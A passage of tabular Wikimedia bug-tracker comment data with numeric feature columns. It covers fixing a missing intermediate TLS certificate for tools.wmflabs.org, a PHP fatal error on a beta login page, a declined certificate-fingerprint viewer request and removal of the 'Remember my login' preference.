Thanks for debugging this Tim.",,,1391482969,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.125,0.84375,"Wait, so SSLCertificateChainFile should specifically /not/ be a certificate chain file?  That's...  so sane.

*groan*

Thanks for debugging this Tim."
245511,Fix certificate chain issue for tools.wmflabs.org,"I fixed this with step-by-step instructions from jeremyb, inspired by bug #23631:

- Point SSLCertificateFile to tools.wmflabs.org.pem, and
- point SSLCertificateChainFile to RapidSSL_CA.pem.

Yeah, that's right, not to some chained certificate or whatever, just to the missing intermediate certificate :-).

Thanks again to jeremyb for his help.",,,1391482757,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,True,,,22,True,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,15.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,3.0,8.0,0.0,2.0,0.0,2.0,2.0,2.0,3.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.606060606060606,0.7121212121212122,"I fixed this with step-by-step instructions from jeremyb, inspired by bug #23631:

- Point SSLCertificateFile to tools.wmflabs.org.pem, and
- point SSLCertificateChainFile to RapidSSL_CA.pem.

Yeah, that's right, not to some chained certificate or whatever, just to the missing intermediate certificate :-).

Thanks again to jeremyb for his help."
245503,Fix certificate chain issue for tools.wmflabs.org,"I played around with it a bit yesterday, but any attempt appeared futile.

On tools-webproxy, I made sure RapidSSL_CA.pem was in /etc/ssl/certs, up to date and had a symlink.  I've set SSLCACertificatePath to /etc/ssl/certs, shut down and started up Apache, and still only the server certificate was served either to online test sites or ""echo | openssl s_client -connect tools.wmflabs.org:443 | less"".

I set SSLCertificateChainFile to tools.wmflabs.org.chained.pem which I created by ""cat tools.wmflabs.org.pem RapidSSL_CA.pem GeoTrust_Global_CA.pem > tools.wmflabs.org.chained.pem"", yet: Nada.

I've renamed tools.wmflabs.org.chained.pem to tools.wmflabs.org.pem to have Apache read the chained certificate as its only SSLCertificateFile option, and still only the server certificate was served; and in all cases, after a proper shutdown & start.

So, Coren, after this experience and recently watching RobH fiddle with wikitech's certificate for hours to get it right, a checklist: ""File x should have one -- CERTIFICATE -- session"", ""Directive y should point to file Z"", etc. would be greatly appreciated :-).",,,1391398270,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,True,,,22,True,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,3.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,1.0,0.0,2.0,0.0,4.0,8.666666666666666,0.0,1.3333333333333333,1.0,0.0,0.0,4.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,13.666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,2.6666666666666665,1.3333333333333333,8.666666666666666,0.0,3.6666666666666665,4.666666666666667,0.0,0.3333333333333333,0.0,0.0,4.0,0.0,1.3333333333333333,0.0,3.0,8.666666666666666,3.3333333333333335,0.0,3.3333333333333335,0.0,3.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,4.665885194657573,0.742895709008241,"I played around with it a bit yesterday, but any attempt appeared futile.

On tools-webproxy, I made sure RapidSSL_CA.pem was in /etc/ssl/certs, up to date and had a symlink.  I've set SSLCACertificatePath to /etc/ssl/certs, shut down and started up Apache, and still only the server certificate was served either to online test sites or ""echo | openssl s_client -connect tools.wmflabs.org:443 | less"".

I set SSLCertificateChainFile to tools.wmflabs.org.chained.pem which I created by ""cat tools.wmflabs.org.pem RapidSSL_CA.pem GeoTrust_Global_CA.pem > tools.wmflabs.org.chained.pem"", yet: Nada.

I've renamed tools.wmflabs.org.chained.pem to tools.wmflabs.org.pem to have Apache read the chained certificate as its only SSLCertificateFile option, and still only the server certificate was served; and in all cases, after a proper shutdown & start.

So, Coren, after this experience and recently watching RobH fiddle with wikitech's certificate for hours to get it right, a checklist: ""File x should have one -- CERTIFICATE -- session"", ""Directive y should point to file Z"", etc. would be greatly appreciated :-)."
245496,Fix certificate chain issue for tools.wmflabs.org,"**daniel** wrote:

This still exists. I get the certificate error (intermediate missing) on my Android phone and Tablet. For me it causes tool breakage, as my tool depends on a CORS connection to labs, which is refused for hosts with broken certs.",,,1391354557,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,11.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,5.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,3.7636363636363637,0.8363636363636363,"**daniel** wrote:

This still exists. I get the certificate error (intermediate missing) on my Android phone and Tablet. For me it causes tool breakage, as my tool depends on a CORS connection to labs, which is refused for hosts with broken certs."
245489,Fix certificate chain issue for tools.wmflabs.org,"**sumanah** wrote:

If this is still a problem, I'd say it's at least normal priority.",,,1380327382,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,2.92,0.88,"**sumanah** wrote:

If this is still a problem, I'd say it's at least normal priority."
245483,Fix certificate chain issue for tools.wmflabs.org,"Also, should copy the nginx conf for cipher prefs, etc. from prod.",,,1376189039,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.4375,0.875,"Also, should copy the nginx conf for cipher prefs, etc. from prod."
245477,Fix certificate chain issue for tools.wmflabs.org,"To be clear, this is not just about doing things right; the service inaccessible to some users (e.g. my phone) in its current state.",,,1376188785,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,2,False,,,-3,True,3.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7586206896551726,1.0,"To be clear, this is not just about doing things right; the service inaccessible to some users (e.g. my phone) in its current state."
54534,Special:UserLogin shows Fatal Error for Translate/specials/SpecialManageGroups.php trying to include OggHandler,"http://commons.wikimedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin

PHP fatal error in /data/project/apache/common-local/php-master/includes/AutoLoader.php line 1158:
require() [<a href='function.require'>function.require</a>]: Failed opening required '/data/project/apache/common-local/php-master/extensions/Translate/specials/SpecialManageGroups.php' (include_path='/data/project/apache/common-local/php-master/extensions/TimedMediaHandler/handlers/OggHandler/PEAR/File_Ogg:/usr/local/apache/common-local/php-master:/usr/local/lib/php:/usr/share/php')

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://commons.wikimedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52316",Medium,50.0,1375652760,1375656963.0,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,False,PHID-TASK-wxadxldwv6x3wbzk3v6g,task_description,resolved,True,c2,2,False,False,True,-4,True,0.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,10.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,6.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,3.875765765765766,0.46945945945945944,"URL

PHP fatal error in /data/project/apache/common-local/php-master/includes/AutoLoader.php line 1158:
require() [<a href='function.require'>function.require</a>]: Failed opening required '/data/project/apache/common-local/php-master/extensions/Translate/specials/SpecialManageGroups.php' (include_path='/data/project/apache/common-local/php-master/extensions/TimedMediaHandler/handlers/OggHandler/PEAR/File_Ogg:/usr/local/apache/common-local/php-master:/usr/local/lib/php:/usr/share/php')

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL
**See Also**:
URL"
239758,Special:UserLogin shows Fatal Error for Translate/specials/SpecialManageGroups.php trying to include OggHandler,That is Bug 52316 - MediaWiki code update sometime leave deleted files,,,1375690409,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-wxadxldwv6x3wbzk3v6g,task_subcomment,,True,c2,2,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.916666666666667,1.0,That is Bug 52316 - MediaWiki code update sometime leave deleted files
239752,Special:UserLogin shows Fatal Error for Translate/specials/SpecialManageGroups.php trying to include OggHandler,"/data/project/apache/common-local/php-master/extensions/Translate/specials/SpecialManageGroups.php was deleted locally.

Restored with 
platonides@deployment-bastion:/data/project/apache/common-local/php-master/extensions/Translate$ sudo git reset --hard",,,1375656954,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-wxadxldwv6x3wbzk3v6g,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.711538461538462,0.5384615384615384,"/data/project/apache/common-local/php-master/extensions/Translate/specials/SpecialManageGroups.php was deleted locally.

Restored with 
platonides@deployment-bastion:/data/project/apache/common-local/php-master/extensions/Translate$ sudo git reset --hard"
239748,Special:UserLogin shows Fatal Error for Translate/specials/SpecialManageGroups.php trying to include OggHandler,+ http://wikidata.beta.wmflabs.org/w/index.php?title=Special:UserLogin,,,1375652960,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-wxadxldwv6x3wbzk3v6g,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,+ URL
54506,"HTTPS: Add a server certificate fingerprint viewer (md5, sha1, sha256) in the settings","I just learned - after having asked in the chats, that the Mobile Android App uses only https . This was not apparent, and should perhaps be mentioned somewhere.

Suggestion
==========

This bugzilla has the aim to add a new entry in the settings with which the fingerprint (as md5, sha-1, sha-256) of the connected server's certificate can be shown on the device.

Of course, the foundation server(s) should have a page entry, where the certificate fingerprints can be cross-checked.

See code for a tiny certificate viewer in PHP https://github.com/Wikinaut/MySimpleCertViewer perhaps useful as a starting point to bake your own viewer in Java.

--------------------------
**Version**: Unspecified
**Severity**: enhancement",Medium,50.0,1375564560,1383167851.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-mp3vt77ridtxeybhsagw,task_description,declined,True,c2,2,False,False,True,-4,True,0.0,0.0,0.0,1.0,0.5,6.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,0.5,0.0,5.0,8.5,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,1.5,0.0,0.0,1.0,2.5,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,19.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.5,2.5,9.0,1.0,0.5,9.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,1.0,8.5,3.5,0.0,0.0,0.0,1.0,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,3.86280701754386,0.7018421052631579,"I just learned - after having asked in the chats, that the Mobile Android App uses only https . This was not apparent, and should perhaps be mentioned somewhere.

Suggestion
==========

This bugzilla has the aim to add a new entry in the settings with which the fingerprint (as md5, sha-1, sha-256) of the connected server's certificate can be shown on the device.

Of course, the foundation server(s) should have a page entry, where the certificate fingerprints can be cross-checked.

See code for a tiny certificate viewer in PHP URL perhaps useful as a starting point to bake your own viewer in Java.

--------------------------
**Version**: Unspecified
**Severity**: enhancement"
238037,"HTTPS: Add a server certificate fingerprint viewer (md5, sha1, sha256) in the settings",This is way outside the scope of the app.,,,1383167851,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-mp3vt77ridtxeybhsagw,task_subcomment,,True,c2,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,10.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,0.9,This is way outside the scope of the app.
54342,"Remove ""Remember my login""-option from the preferences","In the User profile options in the preferences, we have the checkbox: ""Remember my login on this browser (for a maximum of 30 days)""

Why ? Does anyone use that ? What's wrong with checkbox on the Login page ? Is it just that we don't persist the 'last' choice on the login page ?

Seems rather overkill to me, definitely clutters the preferences and possibly it is confusing to users ?

--------------------------
**Version**: 1.23.0
**Severity**: normal
**See Also**: {T69133}",Medium,50.0,1375300740,1400685900.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_description,resolved,True,c2,1,False,False,False,-4,True,0.0,0.5,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,2.5,0.0,5.0,6.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,10.5,0.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,1.5,9.5,1.0,1.0,6.0,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,4.0,6.5,1.0,3.5,3.0,0.0,4.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,3.552631578947368,0.7280701754385965,"In the User profile options in the preferences, we have the checkbox: ""Remember my login on this browser (for a maximum of 30 days)""

Why ? Does anyone use that ? What's wrong with checkbox on the Login page ? Is it just that we don't persist the 'last' choice on the login page ?

Seems rather overkill to me, definitely clutters the preferences and possibly it is confusing to users ?

--------------------------
**Version**: 1.23.0
**Severity**: normal
**See Also**: {T69133}"
253656,"Remove ""Remember my login""-option from the preferences","Change 134615 merged by jenkins-bot:
Removed 'Remember my login' preference

https://gerrit.wikimedia.org/r/134615",,,1400686449,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,6.0,11.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,0.9444444444444444,"Change 134615 merged by jenkins-bot:
Removed 'Remember my login' preference

GERRIT_URL"
253648,"Remove ""Remember my login""-option from the preferences","Change 134615 had a related patch set uploaded by Krinkle:
Removed 'Remember my login' preference

https://gerrit.wikimedia.org/r/134615",,,1400685863,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,10.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,0.9523809523809523,"Change 134615 had a related patch set uploaded by Krinkle:
Removed 'Remember my login' preference

GERRIT_URL"
253642,"Remove ""Remember my login""-option from the preferences",Thanks a lot for stating and resolving this bug. I always found strange to see this preference depending of a cookie/local environment/browser.,,,1397808572,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,11.0,0.0,0.0,0.0,4.357142857142857,0.8571428571428571,Thanks a lot for stating and resolving this bug. I always found strange to see this preference depending of a cookie/local environment/browser.
253640,"Remove ""Remember my login""-option from the preferences","Change 94614 merged by jenkins-bot:
Removed 'Remember my login' preference

https://gerrit.wikimedia.org/r/94614",,,1397754165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,6.0,11.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9444444444444444,"Change 94614 merged by jenkins-bot:
Removed 'Remember my login' preference

GERRIT_URL"
253637,"Remove ""Remember my login""-option from the preferences","Change 94614 had a related patch set uploaded by 01tonythomas:
Removed 'Remember my login' option from the Preferences page

https://gerrit.wikimedia.org/r/94614",,,1384094566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,8.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.72,0.96,"Change 94614 had a related patch set uploaded by 01tonythomas:
Removed 'Remember my login' option from the Preferences page

GERRIT_URL"
253634,"Remove ""Remember my login""-option from the preferences",+1,,,1384007851,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,+1
253630,"Remove ""Remember my login""-option from the preferences",I would like to work on this bug. Please assign it to me.,,,1384003633,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.8666666666666667,I would like to work on this bug. Please assign it to me.
253624,"Remove ""Remember my login""-option from the preferences","**swalling** wrote:

